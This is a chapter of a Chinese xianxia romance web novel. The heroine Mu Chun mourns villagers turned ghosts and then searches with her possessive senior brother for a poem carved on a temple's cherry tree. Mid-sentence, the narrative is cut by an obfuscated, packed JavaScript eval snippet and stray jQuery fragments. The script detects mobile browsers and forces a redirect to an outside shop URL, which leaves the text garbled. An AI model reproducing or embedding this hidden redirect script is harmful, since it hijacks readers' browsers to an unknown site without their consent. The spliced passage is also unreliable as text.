青龙已逝、神器已得、“古神”也消散于世间,剩下的就是该如何处理这八百余名幽魂。
木春起初还惦念着昔日的情分,当她一遍又一遍地听到这群人愚昧无知的事迹后,心中的那团怒火始终无法熄灭。
顽愚不化、巧言令色。
假意讨好只是他们这群人用来掩盖罪行的方式。
她根本想不出来任何可以饶恕他们的理由。
可是,当水无月的剑抵在幽魂的胸口上时,她还是没能果断地说出“动手”这两个字。
明明只要她简单地说出那两个字,这群幽魂就会烟消云散,她却迟迟没能说出口。
耳边尤记得青龙神兽的那句话。
“愚善也是我的过错。”
木春想,她或许能真正地感同身受青龙神兽当初说的这句话。
愚善也恰恰是她的过错。
青龙神兽给过这群人三次改过自新的考验,他们竟一次都没有通过。
第一次——误入禁地、听信谗言。
第二次——谋害青龙、饮下神血。
第三次——编造谎言、构陷青龙。
如今的罪魁祸首苍蟒已受到它该有的惩罚,魂飞魄散,那帮助它的帮凶——这群助纣为虐的幽魂们理应也受到惩罚。
青龙既将神器与神魂交予她,那她理应尽它之责,惩处这群幽魂。
“师兄,动手吧。”
声音落下的同时,伴随着声声凄厉惨叫,水无月手中银剑青锋扫掠,阵阵黑烟弥散,空气中弥漫着腐朽的腥臭气味。
幽魂们消逝,他们身上戴着的配件七零八碎的掉落一地。其中一枚红色的绳扣吸引了木春的注意。
她屈身捡起,那枚绳扣编织得歪歪扭扭,勉强能看出来是平安结的形状。
她错愕地看了又看,反复确认,绳股错扭的位置都与记忆中分毫不差,确实是她当年的手笔。
温热的液体掉落,模糊了木春的眼眶。
这是木春当年为感念陈婶的花蜜糖,特意编的平安结,祈愿她万事顺遂、平平安安。
已有三年过去,平安结松松垮垮、绳线走形,就连边缘也磨损发毛愣,想必是没少被人用手把玩。
陈婶竟还戴在身上。
木春拿着平安结的手止不住地颤动。
她祈求陈婶平安,却也是她夺走了陈婶的平安。
水无月揽过她的肩膀,顺势将拼命克制着哭声的木春压紧怀里。
他轻声俯在木春的耳边道:“小春,想哭便哭吧…”
师兄温暖的怀抱以及那句温柔的安抚,让木春的眼泪彻底决堤。木春崩溃地放声恸哭,宣泄着心中的悲伤。
水无月抱着木春柔软的身躯,漂亮清俊的眉眼难掩阴翳。
他的小春哭得这般悲伤,竟是为了旁人,甚至是一群早已死透了的、爱搬弄是非的幽魂。
活着没做什么好事就算了,死了竟也不消停。
水无月想,要不是木春心软,就是把这群该死的幽魂千刀万剐都不足为过。
木春的眼泪一滴一滴落下砸在了他的心头。
他的小春哭得声嘶力竭。
为什么她会哭?
水无月天资聪颖,无论是在剑法还是咒法修行都是一点就通。可才思敏捷的他现在唯独在这件事情上犯了难。
他想不明白其中缘由,思绪发散。
难道是小春对他们生了感情,那又是什么感情呢?
难道是…
爱?
水无月觉得呼吸仿佛被人攫取,几欲窒息。
假若有一天他在小春的面前死去,小春会不会比现在哭得更加难过?
那是不是会证明小春更加爱他?
小春爱他…
这四个字牢牢镌刻在他的心头。
他又把自己救了回来。
水无月忽地有些明白了其中深意。
他怨小春对世人有情,又愿小春对他多情。
“自作多情。”
讥嘲的话语毁了他的好心情。
水无月冷声说道:“你又在酸些什么,见不得、碰不得,也就只能逞逞嘴上威风。”
“你!”
“我什么我,我哪里说错了?若是没有我,你连小春的声音都听不到,滚回去躲在灵海闭嘴呆着。再多嘴,就别怪我连同灵海一起封了。”
那声音气急败坏,“我看你是疯了不成!你封了灵海,不就是封了五感?你至于这样吗?”
“至于。”
两个字如同珠玉落尽玉盘般声响清脆。
不再出现扰人的声音,水无月心绪舒展了不少。
他埋头于木春的脖颈,嗅着她身上淡淡的清香,像是某种花香分外熟悉,但又想不起来。
木春有一头乌黑靓丽的长发,因走得匆忙未来得及盘成发髻,散乱地披在腰间。他痴迷地挑起一缕发丝由上及下,竟萌生出了想为木春盘发的念头。
他忆起前世木春嫁给他的日子,他为了讨木春欢喜,学了许多种女子时兴的发髻盘发,每天变着法不重样地帮她盘发。
木春端坐在铜镜前,却是个坐不住的主,竟牵起他的一缕发丝同她的碎发绑在了一起。
她被抓包反而还理直气壮地说道:“这叫‘结发为夫妻,恩爱两不疑’,师兄你真是块不解风情的木头。”
结发为夫妻,恩爱两不疑…
是啊,他们本就是夫妻,合该是要结发、合该是要恩爱的。
窝在木春头上的庆宜努力藏于发丝之间,尽量隐藏它的存在感。
没有人能懂它此时此刻看见水无月发癫似地掬着木春的头发,不知臆想到了什么竟勾起了唇角时的心理阴影。
庆宜现在有些后悔当初让木春选水无月作为同行者的决定了。
它觉得有这么个精神不太正常的人在身边,它的精神迟早也要跟着不正常。
-
幽魂已逝,山脚下的村庄空落落的,不再见往日繁荣景象。
不知不觉,二人走到了一座寺庙的门口。樱花树开得正盛,黄绿繁花葱葱郁郁挂在枝头,枝桠舒展如云,不同于寻常粉樱艳丽,却别有一番清丽雅致的意味。
木春顶着一对红肿的眼睛仔细辨认树的刻痕,像是在找些什么东西,引起了水无月的好奇。
他凑过去问道:“小春,你在找什么呢?”
“师兄你当年不是送了我一束花环,说‘你在它就在’,一年前它骤然枯萎,吓得我以为你再也回不来了,”木春越想越难过,抽了抽鼻子,“后来,我日日来寺庙祈福,将那束花环埋在了周边的樱树下,做了印记,想着有一天再来看它。”
水无月心头一震。
一年前,恰好是他重生归来的日子。
彼时的他遭魔修追杀,危在旦夕,千钧一发之际幸有一仙灵相助,意识混沌之际,恰巧让前世的他钻了空子,进了这幅躯壳。
而原本的他则因太过虚弱在灵海中韬光养晦,每日碎碎念念毁人不倦。要不是看在他俩同为一体,他早就将这个烦人的玩意碾碎。
水无月向木春问了做的印记大概是何种样子,木春不知为何结结巴巴地回了两字“诗文”,赧然逃走。
水无月心中暗叹奇怪,这天下诗文数不胜数,爱在树上刻字的又不止木春一人,若要找起恐怕是无从找起,却还是随了木春一同探寻。
其中,一颗参天大树上歪七扭八的字迹吸引了他的注意力。
经过风吹日晒以及树轮生长,刻痕已然被默默地裹进了树的肌理。
他努力辨认想要看清这刻痕写了什么,可惜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712575|208461||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
字迹的纹路深浅不一,他只能堪堪认出了一个“月”字。
水无月叫过木春,木春过来一看,喜不自胜,指着那刻痕兴致勃勃地说道:“师兄,就是这棵树!”
“那这刻痕上的字…”
“师兄你瞧,”木春指着寺庙的牌匾,“这里居然是供奉青龙神兽的寺庙。”
又在转移话题。
他的脸色现下一定很难看,语气也很冲,“是吗?一群心怀不正的人建的寺庙,不如一符纸炸了算了!”
木春吓得炸毛,“师兄你这是什么话?”
水无月没好气地哼了两声,挥袍径直离去,独留木春一个人傻傻地遥瞻那抹白色渐行渐远。
她连忙小跑两步追上水无月,忐忑地问道:“师兄,我是有哪里惹你不高兴了吗?”
庆宜很想开口,对木春说一句别管眼前这个犯了疯病的男人。
水无月薄唇微动,“没有。”
怎么可能会没有?
木春急得抓耳挠腮,百思不得其解,回忆起刚才发生的事情,想找出水无月情绪转变的原因,回忆停在他问的那句刻痕的内容。
她斟酌了半天,才开口道:“其实…其实我并不是有意想瞒着你的…”
“那有什么不能说的?”
木春的脸红彤彤的,像熟透的苹果。她攥紧衣角,支支吾吾地说道:“写的是…是…愿逐月华流照君…”
她越说声音越小,小得水无月险些听不清。
他坏心眼地又问了一遍,“什么?”
木春急得大声喊道:“是愿逐月华流照君!”
水无月笑了,笑得比春花还要明媚。
庆宜心里默默怒骂一句恶俗。
显然,水无月的恶趣味不止于此,“不就是句普通的诗文,何必藏着掖着?”
木春喉头一梗。
她藏着掖着无非是因为这句诗表达的相思之意,而水无月却又明知故问地问了一嘴,这不就是在变相地让她承认她很思念他吗。
她才不会承认。
她死都不会承认。
木春巧笑倩兮,眉眼弯弯,“是呀,这只是我随便从诗文中摘抄出的一句。我刚才只是记性不好,一时忘了这句诗文是什么而已,并没有藏着掖着。”
聪明反被聪明误,水无月倒是被反将一军。
但他也不恼,是随便摘抄还是用心镌刻,他一眼就看得出,只不过没能听到木春亲口承认倒是有些可惜。
“好吧,那看来是师兄想多了。”水无月慢悠悠地说道,“小春,你不是想找本命剑吗?正巧碰上的奇闻怪事都解决了,如今便放下心去找吧。”
木春这才想起来还有本命剑这回儿事。
她略显局促,“我瞧着这地方风水不好,想必也不能有什么衬得上我的本命剑,我们不妨去别处看看。”
水无月掐着嗓子,学木春说话,“哎呀,师兄,这你就不懂了,越是不起眼的地方越能发现珍奇异宝。”
他的声音恢复如常,“这时候倒是又风水不好了。”
木春从来没有觉得她敬爱的大师兄会变得像眼前这样欠揍。
她之前说的时候分明就没有“哎呀”这个语气词!这是赤裸裸地污蔑!
“是我挑本命剑,还是师兄你挑本命剑?一切不都是要我看的心意吗?”
“是是是,一切都依你。”水无月揉了揉木春毛茸茸的脑袋,调笑道,“师兄只不过是跟你开两句玩笑,居然这么不经逗。”
木春小声嘀咕,“我可没觉得好笑。”
两个人一前一后地走着。木春从袖子里掏出地图展开,摸索了半天才看见下一方神器的位置。
当她看见地图上那座山峰上的蓝点,表情可谓是精彩纷呈。
怎么偏偏、偏偏是这个地方?